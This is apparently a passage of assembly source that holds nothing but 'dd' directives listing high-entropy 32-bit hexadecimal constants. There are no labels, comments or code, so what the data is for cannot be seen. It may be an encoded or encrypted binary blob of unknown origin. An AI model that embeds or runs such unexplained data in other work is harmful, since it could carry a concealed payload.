dd 0E1F066ECh, 80E40888h, 974EBF18h, 0F08C3DE2h, 864F09D3h
dd 8400C1F2h, 49E7130Ah, 0C311FA03h, 0F8C0B98Eh, 2FFD78h
dd 64F9AD21h, 97AC681Dh, 4B1281F8h, 0F80013E5h, 0B76136C3h
dd 0CE967E0Bh, 0E7C0C526h, 6F9DF7B3h, 28C8B813h, 10403413h
dd 0A8DC2EDAh, 71FF0013h, 55CA8284h, 19128A17h, 64026B77h
dd 0E3D569DDh, 328FE79h, 0C861EC44h, 21549BBDh, 0D90E08D0h
dd 0E0EDCAE0h, 141184C7h, 0DDD6383Ch, 0E5D56E00h, 1B6ADF3Eh
dd 66D3691Fh, 234642CFh, 1109FADh, 7871FA29h, 87D55F68h
dd 0D1802910h, 63476684h, 91BB6010h, 1EBC75E7h, 24923E00h
dd 4B084h, 7D196C8Bh, 78FD8FA2h, 229E4703h, 80E05495h
dd 0A21FD6DDh, 9159C094h, 82A95878h, 46735200h, 0F5456031h
dd 80A03800h, 8C16E796h, 1DF3F239h, 0B0DC1A71h, 21AD51F1h
dd 242AE324h, 0C003E09Eh, 88718CACh, 1828EB5h, 0EF180F2Fh
dd 0F8F5B6F4h, 80920625h, 0A945B107h, 0A390F2E3h, 1F562ADCh
dd 0D8C1F7E8h, 0E943891Fh, 203EE026h, 8DFD50h, 6C02BC67h
dd 2EF75AD8h, 6FFB300h, 27D9C34Dh, 402D4DD6h, 43230074h
dd 6917EFDFh, 501E765h, 88DC6407h, 2DF25ADh, 8724D359h
dd 2C40BFE3h, 0CFE0D1A5h, 58BD8CB0h, 0D7343C5Dh, 0D9BEE804h
dd 17B4985Eh, 7D34F949h, 0F6E1B900h, 0AD99CB26h, 7E1101D0h
dd 5E8DE333h, 0B638481Dh, 264DFC1Ch, 0E000A468h, 7B2A2BDDh
dd 78F1F4C7h, 7C9069h, 123EB662h, 4EF954FCh, 894A1F39h
dd 4B72344h, 74C3D2A0h, 6EA1A04Dh, 0F2AB007Eh, 899E2695h
dd 0B5002E11h, 46096652h, 17E0A096h, 1DC7F121h, 591481DCh
dd 0E4FAD06Ah, 0BF3CF425h, 7D19EEDh, 3119B518h, 2EEE8A4h
dd 2741CE25h, 0ACA0264Eh, 37C7F215h, 622AB509h, 4828002Fh
dd 60277602h, 0AFA01164h, 340298F2h, 0D760543Ch, 139C8045h
dd 668AA7h, 3EB7E64Dh, 0B650854Ch, 687049h, 6C963D8Ch
dd 77B299CAh, 701F224h, 62F1D05Bh, 1E4CA0D5h, 4100C3ABh
dd 963AA291h, 15774F7h, 3542584Dh, 300F2288h, 0A0065094h
dd 8D47E62h, 0E1AE0010h, 173654D0h, 0CD71BCE0h, 0AD5D3F00h
dd 0FA08B123h, 73270FC2h
dd 0EBC0D963h, 0B7DC2A36h, 72C6C902h, 5228F0A4h, 95173A1Ch
dd 27FFFA05h, 492CC171h, 4DFEE040h, 22839h, 0AF2E1889h
dd 7E41627h, 8CB55259h, 2DD5F0F4h, 4A008910h, 0A249986Fh
dd 94C59Fh, 35ABA8B1h, 620AE85Ch, 15184C12h, 0EC31B805h
dd 0B6F365C0h, 0FEA61344h, 84800050h, 74B96E15h, 8ABA5200h
dd 642DBD2Ah, 7A8F00AEh, 0CEDB5FE9h, 510708C7h, 9E3AD79Fh
dd 38E06226h, 0DC800710h, 50F9BACAh, 0A8047419h, 0B95CB0BCh
dd 0F974CB0h, 0AE777B5Dh, 6AAA6980h, 0F200E254h, 0AC56DEC3h
dd 1444E926h, 0A428FBB2h, 29583502h, 0B8806204h, 866C2BD2h
dd 0C4D06606h, 190D2Dh, 7F84ED4Bh, 31C259F5h, 64731800h
dd 0E7D70DFFh, 38EB00A5h, 0D2DDD17Ch, 88006FFAh, 0EE5FB06h
dd 4152EDh, 0A8BD9CEh, 0A8ABE2B2h, 2400C772h, 8E439C5h
dd 40C90C4Dh, 120048AAh, 0D5198D86h, 4050B5h, 8A856D9Ah
dd 7B0DC921h, 0DC673Ah, 931B3FCFh, 1C19BD4Bh, 806C1065h
dd 23B19835h, 2200E26Ah, 0D7CFDDD2h, 70A97Bh, 9E2A7E14h
dd 1CF9168Fh, 0F7D5FB03h, 0B083218Bh, 762F5C5h, 51C94E6Ch
dd 0E2A9D054h, 163AB319h, 0C6FA000Dh, 675CCF9Ch, 53AE1673h
dd 30310064h, 368C74A0h, 0A1229800h, 0BD8582BBh, 183501A2h
dd 0B59E5B43h, 0EBA3C026h, 1D7E390Bh, 62E10002h, 2173470h
dd 0C45B9308h, 0F8405D03h, 0E217BC4Dh, 3AE8B828h, 10607A00h
dd 0A46AE7BDh, 6636500h, 0E625215h, 0B946006Eh, 9777C27Dh
dd 6500CBE1h, 63124AEDh, 605633h, 62A9677Eh, 0BEF6DE55h
dd 490C1F00h, 0DF37E9CDh, 67BD0113h, 9C93236Fh, 0D2BBCCB7h
dd 7C157F3Fh, 819EB01h, 3A6AA0B2h, 0A80243CEh, 3E7F17h
dd 0C7A29673h, 0C3223204h, 2AB86E03h, 0D0903B95h, 66097Ah
dd 0FD69A817h, 289CC5B4h, 0B3108700h, 8A61CAD7h, 0F99200EFh
dd 54D9FCEDh, 81EF598h, 0A0004F8Eh, 0B0B5583Dh, 0BC02177Ch
dd 0E76D0078h, 62BEE123h, 4874CC0Fh, 0C55A80B9h, 3160A6A0h
dd 8460110Fh, 4DA7FCE7h, 175D100h, 71CC5A4Eh, 0E9681C14h
dd 52E6406Bh, 0A4105BF8h, 0F107E200h, 0C9873EBFh, 76AB076h
dd 51D504DFh, 3D2250ECh, 707C8CBDh, 45369701h, 95E667DBh
dd 1D33DCh, 16A9B884h, 4A74AD4Bh, 0D89F3Bh, 190AED34h
dd 1D3B3C67h, 9E321617h, 85E082ACh, 0CAE05388h, 0E4005CCDh
dd 435BCFEFh, 0DDE949h, 3E802CBh, 2925F206h, 0A0935C01h
dd 964E5A1Dh, 0DBB5F4h, 3BD3F1F0h, 0CD67B4A6h, 7A797D07h
dd 1EA064FEh, 1C3CBA14h, 82CFD9FBh, 2687B8D2h, 5EC0FF80h
dd 840004EFh, 0A2913A1h, 0EA482152h, 0F81A000Ch, 3F241EAFh
dd 4701BB7Fh, 7AA60D20h, 8CC8ADF7h, 0F3EAB5h, 0B6A03DD1h
dd 9FFD2C79h, 0FB73B800h, 5E012B91h, 0A1CB01E6h, 2A13EAB3h
dd 87D8F747h, 0E0ECF765h, 7015C100h, 0B57BFF2Bh, 19A71E7Ch
dd 772C04Eh, 0CDDFF02Ah, 0DDACFA00h, 0C87405DCh, 6D78B4h
dd 956A0DB1h, 0B7B9E49Eh, 0A7E27D0Fh, 8D5840C9h, 2B5003h
dd 883B1AF4h, 961C17DEh, 0E12DC007h, 5EB146D9h, 60801649h
dd 0D88A9704h, 0DC067F8Bh, 0ACCAC83h, 0E39D0E18h, 9285D9BBh
dd 8D18385Fh, 8F041774h, 9144407Ch, 0BB6B6480h, 5A59000Ch
dd 0EA3ECB96h, 420D4AAEh, 0D8C36308h, 3A769560h, 2C51DB77h
dd 0C5D12088h, 0B301F890h, 3C1DEBE8h, 0EDB07AEAh, 6B7A85h
dd 0D18BBE1Ch, 47760850h, 4925562Eh, 4004D80Ch, 16450058h
dd 4EE8D371h, 43E8AB6Dh, 85F46F06h, 870F3D0h, 814772Ah
dd 0E08B3F3Ch, 0D51F2DD0h, 222300E1h, 0B081D043h, 0D8E63206h
dd 60962907h, 92B0D6E2h, 121AF511h, 72D0D4h, 94F1F26Dh
dd 10171ACh, 632B73A7h, 1880F5E6h, 0DDD48952h, 0C0F80A37h
dd 995C5103h, 9E60272h, 16AC8F20h, 0C52BB420h, 0C67F891Ah
dd 84730C0h, 6133C1Ch, 2D79DC75h, 40C418E7h, 0F1FFE18h
dd 6F039D54h, 58C1F8E1h, 834F2161h, 5BE92A28h, 8FE9050Fh
dd 87BCD28Eh, 4CDB650Dh, 0DF092098h, 89CBAC78h, 51740C99h
dd 2BD70685h, 0D1109383h, 0DAA67900h, 0A0170A2Dh, 41056FF7h
dd 83D9AAE0h, 0EE549633h, 9D0F70B4h, 0E1731B13h, 1A992B23h
dd 5A6B9880h, 0D54A69B8h, 6C60D466h, 23870071h, 0C29424CAh
dd 10E00F7Ah, 0D5C4B600h, 5F4656ADh, 0DC013DF6h, 86733080h
dd 0F26A9325h, 0A9723600h, 4B337F8Dh, 4887008Ah, 0AD60D803h
dd 0F51EF12Ah, 95804569h, 28765B6Ch, 4A738Eh, 804725A4h
dd 0B502645Fh, 8150B63Ah, 6E12B877h, 1FC8A6D3h, 0E4C01F1h
dd 173E28B3h, 5B38F8A3h, 0B50A4D0Fh, 4F4400CFh, 5F8785Dh
dd 880FF291h, 3FAC40D5h, 4AB4FBF6h, 77BA0500h, 8F4F1606h
dd 0B821C0C8h, 0C5AFE198h, 878C173Eh, 59CD841Ch, 0C40C8000h
dd 5AEE47Eh, 81475E5Dh, 1BAC0508h, 0A301F6Fh, 3C9C74Dh
dd 0C04BB2BFh, 0D68F1818h, 339BC21h, 5A627BB1h, 6FE0C167h
dd 0F1007742h, 0CB487218h, 0A0886C8Fh, 52548h, 4189F59Ah
dd 0DE385895h, 8F02C4F8h, 8CFD59C1h, 501CC0EDh, 774D0054h
dd 862A6DE4h, 3A0485BDh, 10EC6567h, 3BBFB080h, 84C20038h
dd 4B5E1C39h, 0A800319Eh, 68A6950Fh, 0FE3CA075h, 74D9778Fh
dd 773B00D8h, 3D2B83F0h, 95002074h, 4F0441B4h, 4D8ECC11h
dd 1B0C1813h, 84B1D96Ah, 0E952DD0Fh, 445E725Ah, 0F6483E43h
dd 201100ECh, 29028D63h, 4B0061E2h, 939FB5FFh, 474EE8Ch
dd 1D3D4E50h, 795082DCh, 3043B287h, 6D05A1A7h, 9A600D00h
dd 0EB705B20h, 0CFA23933h, 5854E0CBh, 8BCD320Dh, 40B11DDh
dd 0DBA4B0C3h, 48EB1004h, 0D080BC13h, 8EBF61h, 7B8CB6A9h
dd 2A1C86E5h, 6DDD0600h, 0B55B13C0h, 0AE630042h, 0FA2F3008h
dd 100E6D6h, 0F2D32434h, 0B3AD52h, 4E902922h, 16E3FA78h
dd 9900207Ah, 510B64D7h, 97BA37h, 0AB1D6938h, 0A5F3EC71h
dd 4FF04E74h, 37FFC900h, 0B6DAF944h, 115091Fh, 0D280AE31h
dd 647995Ah, 93C983Dh, 80113E22h, 82FD4869h, 83020EEEh
dd 6AC0B034h, 0BBF067E6h, 0E2513B00h, 754CE5F5h, 0C93A0019h
dd 745989Ch, 0DB3BC285h, 0B63F8030h, 0DCF6EDCh, 0E98800A9h
dd 8205AC64h, 36031B37h, 76BB242Dh, 531950FAh, 0D20D01E3h
dd 9641A719h, 1EBCC465h, 7DD37500h, 9EAD570Eh, 83423A6Eh
dd 0FE2FC680h, 423E652h, 40A80A00h, 8F4AD846h, 0C46402E0h
dd 7EDDEBBEh, 6305D0A0h, 0A230CEF0h, 5E4870C6h, 49060091h
dd 3AEFAEC3h, 0F300A3A4h, 3D2EFC31h, 1E1F29ADh, 559A10Dh
dd 203FCEB5h, 0ED535F8h, 0CFF024Ch, 302FA729h, 6347184Fh
dd 0CCE56133h, 7003AA76h, 6EB0760Ch, 846AB0BFh, 0A1E0050Eh
dd 0C09D9938h, 875FDDAEh, 0B6640A1Fh, 0D8F168C0h, 0D10DA4h
dd 21F472C2h, 0FBC7E32Bh, 0C9221600h, 0EC5CE80Fh, 0DCF4D2h
dd 0AE46418Ah, 0BDB44C7Fh, 0FB6A7500h, 0E60B3D6Ch, 0B57798FAh
dd 41EFDD8h, 20405115h, 89BE2511h, 0E4B201A2h, 0EF1C37C9h
dd 924DF46Ch, 80C45C00h, 10AF8AF2h, 0CCA0A1DCh, 0CCE70h
dd 81A3577Fh, 6093DFFh, 0A000BFFCh, 5A988925h, 0B9683FDh
dd 0FAECBA2Bh, 53F4D400h, 6E0E0CDAh, 204F99B7h, 24368494h
dd 0C3751F8Dh, 0AF2800E7h, 2F596105h, 3852E39h, 26FA8A58h
dd 515B9940h, 0ACA7DCh, 64ABFDFCh, 0CDDC9D4Ch, 73157B06h
dd 0E2187h, 9FEA7959h, 0CA5604E9h, 0C3A0F82Eh, 8CFECE05h
dd 0D5F4DC41h, 6A700672h
dd 3B9855h, 0E445BBB5h, 500A1F17h, 9FC5A500h, 0E353E18Ch
dd 79FB01D4h, 0AD3C87F2h, 0C3BAF8FFh, 0C0717502h, 44A127AFh
dd 6D640104h, 8B6B09FBh, 4B20244Ah, 91DC5107h, 0B6F0A7B2h
dd 0EEC27EFCh, 0EBF400B7h, 620EC964h, 21004218h, 0DC8C3F56h
dd 71FF16F1h, 0A08F00AEh, 8DA4B79Ch, 0CE185AEAh, 58D0E7F7h
dd 277388E5h, 8047BE39h, 6FCB0119h, 3BCAAF78h, 0F2001035h
dd 8977D513h, 6903666Bh, 533A63E3h, 1080B449h, 90AA48A6h
dd 0B2650018h, 172DD6C3h, 3A00D8E4h, 3CAE9560h, 16BC597h
dd 0B3CC31DDh, 24D39EA1h, 12009870h, 0C03004B1h, 14D5CC8h
dd 0E48A96FFh, 0F4C68C68h, 0D4005FB4h, 818DC5ABh, 9A4E67h
dd 4AA0B6D8h, 0D1D0EA70h, 987DDE7Ah, 5C6DAC06h, 11DFD7h
dd 5650639Bh, 89DA72F5h, 0B6ED8F00h, 1C437126h, 128C0038h
dd 607B9DAEh, 0A700F352h, 2C052858h, 7EDAC203h, 42A61EA2h
dd 6DB50EBAh, 2843CAE0h, 64007918h, 0BD5D745Ch, 0E1676Eh
dd 46B3B890h, 5575CAEAh, 3C2D0509h, 737C00DFh, 0E667E5h
dd 6541D5BCh, 0CC2A9DCAh, 59F29400h, 9290FA0Ah, 0DDDA015Fh
dd 0C3E65167h, 7E1CF085h, 0B0B11503h, 0C81496E1h, 0D21F8Ah
dd 0CA478F48h, 4E99DADDh, 1C7ED300h, 71819DB0h, 6003013Ah
dd 0DC6DBE7Bh, 0BBC9F067h, 0C0B15626h, 0D21FF31Fh, 4AD63FC0h
dd 647F162Ch, 86A6B0BAh, 0D0C0B082h, 1C24E53Bh, 0ED9405A1h
dd 80DE5Dh, 0EE5E30C4h, 3C188B54h, 0E6806004h, 7C583B97h
dd 0E366FA01h, 20CFA3B5h, 0E7062D60h, 4675FDF3h, 0C1CA0011h
dd 1C301239h, 0CE0E2510h, 0A7852A36h, 0AE00215Bh, 4DCC0EA5h
dd 520088A1h, 0C51D7BB5h, 89584745h, 26D80028h, 91D96810h
dd 0A89A76h, 0C20B3F7Eh, 15274BC1h, 0DCC41F01h, 6E2F66ACh
dd 7A5D8440h, 34CF3DC5h, 0FA87CACh, 76206A8Ch, 1AD7F96Fh
dd 0D0C16D32h, 7714C6C3h, 19CD60EFh, 7E502729h, 3C1EC500h
dd 832210Fh, 91641D6Fh, 372440A2h, 0E0FECD0Ch, 0D81BD618h
dd 140BC239h, 0F0908168h, 0D9C0AF00h, 64B17EB6h, 7F506F00h
dd 0EE8EB412h, 857100E2h, 0C0CF4D32h, 8D7F1BCCh, 74B34A00h
dd 0CA89DC97h, 8EB700AAh, 780B1265h, 0AEFEB60Eh, 19B05700h
dd 34F8D2ABh, 189899h, 0CB1C3D54h, 0C2F492C5h, 5D211F04h
dd 48C020DAh, 4515CCh, 77AD0CA3h, 3D2A0847h, 0CD6B8001h
dd 322C8EABh, 19E6C8h, 0BE0CE0Ah, 0E479C5B1h, 6A02B407h
dd 54A05285h, 395113C3h, 0AB0093DAh, 3F12C297h, 0BA00A39Bh
dd 0FE9AA078h, 49C77CE7h, 4700985Ah, 5C7EB942h, 1A0B112Dh
dd 64D3F4h, 0A5BFB45Fh, 22381FE7h, 0EC6F86C4h, 8D3B4095h
dd 962507F4h, 92E7F859h, 0B1B25190h, 0F2982AD6h, 0C9E202CFh
dd 9B24FF19h, 449A0C48h, 401FD174h, 29C110E4h, 9121C8CCh
dd 1EB9FCh, 7D1480F9h, 68B28ADFh, 0BB72C539h, 437B0F41h
dd 3420C0B8h, 0E22E0A9Dh, 363012D6h, 5D940074h, 98313988h
dd 101EECA3h, 0B03E3860h, 39D82122h, 554F1CC9h, 29BD406Dh
dd 0A38BDB91h, 2F047300h, 0DDB89F21h, 8D9600B3h, 0BD237684h
dd 74399BD3h, 0DCFA83E0h, 0C1195C07h, 508E6245h, 5E875B1Ah
dd 30EFB0ADh, 940266F5h, 781B12C5h, 576C600Bh, 8050F59Bh
dd 0DED85818h, 20ED01A0h, 8111B3F6h, 0FFEFA438h, 1041541Bh
dd 1C409F57h, 78E316h, 6166BC70h, 0E3799D6h, 50D51D07h
dd 4FA712CDh, 1B96A291h, 0B8DDC4h, 0E263580Ah, 0D41E6D82h
dd 430CC502h, 686F3F2Bh, 768C22Ch, 98B2DE1Ah, 7A69101Ch
dd 35002E0Eh, 0AD9438AFh, 0E1728C8h, 218370A1h, 22EE6183h
dd 0F1A36DABh, 0BEF849E1h, 0DC5D0008h, 57C8ED78h, 0AF690059h
dd 2EE30D17h, 4600B613h, 6185A882h, 3B204CA6h, 3600582Bh
dd 5E6FDCEDh, 0E33C5F86h, 70411E02h, 0A7D42E04h, 0BAFD4EC0h
dd 6BC30098h, 4424C2FFh, 2000F283h, 0B802A7DDh, 390B2FDh
dd 9F0379BCh, 0B6D024C7h, 68DCBDB1h, 86BA3E8Eh, 36A9EC4Ah
dd 0C07C6D01h, 7D1B3B03h, 0C0CE2A29h, 0F8979209h, 7A7C0026h
dd 9FC394D8h, 0C9F81645h, 0E1FD9F8h, 36C07D17h, 70D1532Ch
dd 8AEF06A0h, 40CC1BC5h, 8E73230h, 772B4C9h, 2AD893B1h
dd 37E4819Ah, 426CE4BAh, 0A70020DFh, 33142634h, 960C0C1h
dd 0B9BD1248h, 50DB1600h, 1C1ACC76h, 78CA2CD3h, 3E003FDEh
dd 62D5B71h, 0B20FDD9Ah, 0A027D07Fh, 28A41EBAh, 9CD14CEFh
dd 3307AA39h, 60F106B9h, 16143403h, 6E04A507h, 4660FE4Bh
dd 0E683A8DFh, 32731861h, 9F2DB9F3h, 91014100h, 69A23FAh
dd 8E1C00A5h, 54C240AFh, 3E6018EFh, 474892B1h, 0CBDB330Eh
dd 1FA87711h, 43024EFCh, 79D47CC7h, 18A0A017h, 60490719h
dd 8C0A1147h, 3F29448h, 0FB713B03h, 0F845FA90h, 0EEC343D1h
dd 355F0018h, 3DED895Eh, 963DBC73h, 0F45035Bh, 0C0A4269Fh
dd 3A8CC103h, 200F2B4h, 3723CE9Ch, 0F606673Dh, 66B97D6h
dd 21D96908h, 0E4377483h, 969876F8h, 51883306h, 21E6B3h
dd 0A040C3Eh, 1237168Eh, 0FD816B00h, 2EFE5F3h, 0C6863046h
dd 94E1EE28h, 100DD900h, 48F278E6h, 0E408CCB6h, 8C00CB21h
dd 46550BD9h, 0FA7B71EBh, 848064Fh, 70EE8721h, 7EA5B600h
dd 0ACA66D2Ah, 47FC006Eh, 60718E26h, 27F01381h, 0D58D8403h
dd 1BC6F170h, 609DBD88h, 34A9023h, 1019D990h, 8EA867D4h
dd 0E9C08807h, 6FFE791Fh, 16D7D200h, 96AAE483h, 4048000Ch
dd 0FB179A04h, 853470D4h, 8C4F70FFh, 9BFC26EEh, 0A0AF00B8h
dd 881A7E95h, 0B90F7BF0h, 618C458Fh, 0F76A219Ch, 40E22981h
dd 0D1811FA5h, 585660D2h, 21D108CCh, 0A54900B7h, 29B11046h
dd 8D72B03Ah, 5F3C002h, 9DAAE999h, 46BBF0h, 44585931h
dd 7B82E10Fh, 0C2EE16F1h, 29A6004Dh, 6FAE10FCh, 0F4D96600h
dd 79F9498h, 24A500E0h, 74037B33h, 0F8E55B61h, 2F000608h
dd 49856690h, 7D45D05h, 6C22F420h, 0AB602052h, 0FA7B428Ch
dd 3C077B17h, 975B5100h, 17E601h, 42A7524Dh, 8C559A8Dh
dd 0AFE1771Eh, 80FFF5C0h, 28663D2h, 3361E5B1h, 57614465h
dd 0B955F0B6h, 0E2576000h, 23477BD9h, 3641008Fh, 0BAEAE5FBh
dd 0C2003907h, 2C704EB6h, 3DFADA22h, 0A29E67B9h, 8DEE00E0h
dd 63ACABDCh, 0F3BB600h, 25F2F56Dh, 6B230012h, 4964BF15h
dd 0FD00EC96h, 440C8D3Eh, 1FA5A410h, 146DF84Ah, 0BA00FBE3h
dd 940946FDh, 0CC098373h, 7A39D2Ch, 0F9F082D7h, 0DBB15Eh
dd 3012A775h, 504ECB0Dh, 1C799600h, 4ACA8DF7h, 0A23537A5h
dd 7C48058h, 0EC037334h, 2399D306h, 7608303Eh, 340FE921h
dd 334EA718h, 83775F50h, 0A3519964h, 65340D60h, 1116EC23h
dd 15E700BFh, 0D2F61034h, 3BCE632h, 0A17455B1h, 9E88417Bh
dd 9C0E97B5h, 0A08E440Dh, 8DF5A2FDh, 0D84A00A4h, 6E0B626Ch
dd 7E19C94Ch, 0E0085477h, 64B12180h, 13385562h, 42EC520Fh
dd 0F7AD8315h, 0F950069Eh, 0C0AA802Ah, 0F2CA6E18h, 109239h
dd 0C27D1269h, 1636BA5h, 0F1019890h, 4976520h, 95F87930h
dd 5B2C0081h, 9F38EC21h, 2000ADE2h, 0F4DEF9EAh, 1B4005h
dd 2F53E5A3h, 3E1E2178h, 14FE341Fh, 55A60E40h, 26031FD0h
dd 6EDE10Ch, 4021D579h, 420A929h, 9DD218D4h, 0C97810E4h
dd 19DA5F00h, 0ED032CB9h, 1E613E8Bh, 0D2FEFC00h, 0A8F373B8h
dd 62649DF0h, 42211829h, 10CC1279h, 4886302h, 77278801h
dd 0E3102089h, 390B4AF2h
dd 792576h, 19AF8B1Fh, 0DEFF0112h, 0B2C2209h, 0A1DF7083h
dd 615D3100h, 0D5F0DDD7h, 0FF4C3F02h, 8EF53500h, 0A22C4AD8h
dd 0B236480Eh, 46BBA12Ah, 0F1807943h, 0CDBDF888h, 0E5EE0F22h
dd 330AC1C0h, 0F39F2A7h, 1B0D0662h, 164B0132h, 0E47DB405h
dd 3000FC86h, 0EF406BC9h, 0F74CAAh, 0DF3AC73Eh, 0A732D1D6h
dd 0EA1C0400h, 392A4AAFh, 1B0637D9h, 8075A510h, 13283E66h
dd 0B25C0C0Ch, 1F90A0h, 0DAA220A1h, 93E8C28Dh, 0D6F8BD1Fh
dd 0AFE26D45h, 0FF7D92C0h, 0E55100A6h, 0C6345DDCh, 720E6685h
dd 40C7ADC9h, 7C4C9E04h, 0EB7673h, 2808F8C4h, 989670DAh
dd 3FBB1900h, 0B4C807A0h, 0C9380316h, 269E4F56h, 0F2289B88h
dd 72D0B600h, 1FB9416Eh, 3A87005Dh, 45337B76h, 0B4004010h
dd 567F20B5h, 74CEB09h, 365B174Eh, 0F318DCA1h, 4F0F7300h
dd 11641618h, 803803A4h, 0D36C67Ah, 81C037E3h, 0F914BE52h
dd 9C4FC16h, 804E1CA4h, 0D37CD6F7h, 0FA31E6FEh, 9EB100B4h
dd 8C5EE439h, 5D017555h, 732A54DAh, 6B706935h, 447107EEh
dd 0A00468D9h, 154BB6C9h, 1A6A2D05h, 0B88007D4h, 9081558Bh
dd 3AC0F210h, 9283040Ah, 7137059Eh, 0DB50B3F0h, 2B266A09h
dd 0D10020A2h, 77D0A8C1h, 8822CC0h, 0FADE0413h, 0AFC0804Ch
dd 2F0003C2h, 6C7FA4B9h, 15B52Bh, 35F5BC66h, 4351B819h
dd 89BE0D00h, 11DD0F41h, 0DE310063h, 200A85E9h, 0C60137C9h
dd 4B3B4D12h, 0A4C88C82h, 0B147074Eh, 335159A0h, 22B8B5F3h
dd 973EC58Fh, 555F80C6h, 67602670h, 2E3C0EE9h, 7DBE7Eh
dd 1F8A3531h, 6800ACC6h, 0EC6A045Ah, 0F3C335Fh, 4AE211FDh
dd 163023A0h, 0B03C3DFAh, 0A4C4127Bh, 0D07EFC0Ah, 8AD6B00h
dd 0DC5645h, 0DCCD466h, 3EBCE415h, 8478903Fh, 5CF2874Fh
dd 8048080h, 977D2Fh, 0A8FD5E76h, 4AF38FABh, 0A02C3400h
dd 37AFE4E2h, 0F7FF2458h, 0D10780B4h, 45439AC9h, 1B6A5D00h
dd 0DAB232AEh, 0D4200FB1h, 19202C9Bh, 496EFC23h, 1504ED01h
dd 71D2E3E6h, 193CB4E8h, 4863251h, 177DD477h, 5B836400h
dd 5ACDDC31h, 3820C57h, 1ADCF9B9h, 0CC134700h, 1CF3D07Eh
dd 0AC773B0Ah, 0DF8A6B00h, 4BF4BB81h, 61F96300h, 0C0EE6CFEh
dd 33FA00A3h, 5788850Ch, 5492528Fh, 8A50901Eh, 27604358h
dd 152924B2h, 12E40088h, 0C789D004h, 0A8E19100h, 36166143h
dd 0D2ED0179h, 0B87EDD5Ah, 0E9984055h, 5D3FF586h, 5464A4C9h
dd 2A93B04h, 2FE6A000h, 2A24960Ch, 53004C69h, 0CF8E23FFh
dd 63F0D9h, 7F1421A6h, 865C20E9h, 1490BA26h, 0AD00C41Dh
dd 85E2BDB7h, 9A7B7B8Fh, 4DDEC074h, 0A80C59F7h, 8B08EF00h
dd 5A02FEAEh, 0C7D10023h, 0A5C1BE74h, 9A4841FCh, 0FD770070h
dd 18C648E4h, 2299003Bh, 1EE98ECEh, 0A300F7E5h, 0EB6E2EB2h
dd 855570h, 1DCE5EAAh, 92861204h, 0FE0041F0h, 50A10572h
dd 3E35EFD2h, 21008C2Fh, 4071A753h, 0CA00E785h, 6878970Ch
dd 0F5BF8E6h, 0D4EBDED9h, 175A53E0h, 3F7D2625h, 0F2607624h
dd 631DE803h, 40A6AA24h, 0F8FA225Ch, 575800DFh, 0C4885A6Ah
dd 0B21EE87Fh, 0E2C01076h, 32211D71h, 3E877F23h, 0FC1F14B0h
dd 0B280FCDBh, 97B6790Ah, 0BF04F03Bh, 0E06C3988h, 33245B02h
dd 0D4A10h, 2516680Eh, 3861FAB7h, 1C3E7A03h, 0E5FB8B43h
dd 0F3CCAE00h, 1AE36DEh, 0FC2AA9FAh, 0FFC09D7Dh, 0D697E0EFh
dd 1E5027B2h, 0F70065B0h, 0E41DA690h, 1C13C137h, 26C0508Ch
dd 6191000Ch, 6CCDA9CCh, 3203B600h, 8D8CD83Dh, 0C35E0071h
dd 0A63E5FA1h, 54797837h, 6939DDF0h, 0DE2580ADh, 972E2679h
dd 2A7840h, 7CCA10C5h, 0AFAEB305h, 4B50E500h, 45DC8FA8h
dd 0D48B389Bh, 0D7991103h, 0C3B87F65h, 0EA00C1D5h, 80A4A12Dh
dd 18AD8Dh, 8262FEE1h, 811B8CF8h, 0E8EE071Eh, 9A40BDDFh
dd 2E3BE4CBh, 519002B1h, 0A183FAEBh, 5A8B4040h, 9E3C727Ah
dd 2FF39CBDh, 3B71D582h, 2B7C57h, 0BF9B3314h, 907B931h
dd 0B5EFA9F4h, 0A61A1D50h, 4D8B3897h, 0B380A88Fh, 3A8BB96Eh
dd 0D38AE800h, 0A61D231Eh, 0FD9D2C0Eh, 0EA969400h, 3B4B84h
dd 0C87A5DC5h, 26A057FBh, 0B840FD01h, 4298E8F4h, 0E393830h
dd 5289E44Ah, 9CEC801Ch, 3F19B321h, 5E605002h, 800AAFFBh
dd 88F9DD8h, 0D6D0002Dh, 2CD288CBh, 8900DD64h, 49575375h
dd 4841E3E1h, 1603E861h, 35308A94h, 5AA838h, 1EDE737Bh
dd 0B381E1h, 7995D94Ch, 58F26B5Dh, 0D3006FFAh, 0FC898A27h
dd 3779CA6h, 25FE84AEh, 31B8F7D0h, 0AC00DE20h, 0B5395DDDh
dd 8AFB3h, 0F9402724h, 0A83C7FCh, 0BE8A6F00h, 2E35EBB7h
dd 0D5FA1314h, 0D6E80163h, 0ECF260EDh, 48FADA67h, 0B0F05F00h
dd 0C7BFA9F8h, 0A8C800C6h, 0EA1FE3E2h, 45001DF9h, 9FD10DEEh
dd 0CA3A25h, 0EDB08F65h, 5DE07FC0h, 0C8340701h, 44B6FA6Ch
dd 76B6370h, 57EC5678h, 9469022h, 0CB1E74D2h, 0EB804CF3h
dd 14DFFF61h, 0DE98001Bh, 926B47C8h, 811D4FC0h, 0D4EEB8B6h
dd 0C0FCE196h, 0D393C500h, 0B58BD06Eh, 4991E404h, 82C14F01h
dd 93F8B8AAh, 0B29000C9h, 0B5A83F68h, 0DC000A76h, 0B3FA8726h
dd 4B8F4Eh, 0A6D72842h, 8488022Ah, 37DA2D2Eh, 789E1100h
dd 0E86CFD7Ah, 5BF01462h, 0E703E425h, 0B1C212DAh, 0D8307CF1h
dd 6A5CFE83h, 0DF0E00BCh, 4D6D1ABh, 790D5877h, 7682F400h
dd 0DD80F7CCh, 5064C305h, 48C0F65Ah, 120B48A5h, 80CDC231h
dd 14C871B4h, 0B44CCE7Ah, 0C74B03F0h, 65A107h, 4F69A11h
dd 518B6A8Eh, 6F52ED00h, 77EC5569h, 3FF602h, 5F111960h
dd 0B217362Bh, 82CC151Ch, 3DF0BBBh, 0C0A0A0A4h, 3C428ACBh
dd 98008896h, 9024191Bh, 7A3C8558h, 9F9160E9h, 30FDBDh
dd 0C2557EB4h, 0F27A8459h, 2BC10A9h, 0E42503ACh, 190E61A0h
dd 0F81C3280h, 65B90049h, 6EDA767Dh, 9800C521h, 1D687FC8h
dd 10BC5Dh, 0DDE1A2CDh, 8595A1A5h, 33546100h, 67F51D45h
dd 863F00F1h, 59BEE019h, 0C01F5123h, 27CE9E57h, 0DE4B835Ch
dd 219100D7h, 575E81E0h, 0A6E31D6Eh, 17807420h, 199585FCh
dd 5E2A28DAh, 0BA21120Ch, 3070C1A5h, 0ABC899CCh, 61A858D0h
dd 88CF007Ch, 0A57A59F8h, 0C318C2BDh, 39142845h, 0E17177h
dd 0E7F551C8h, 69DBC504h, 2A660F1h, 947D0600h, 60D363C7h
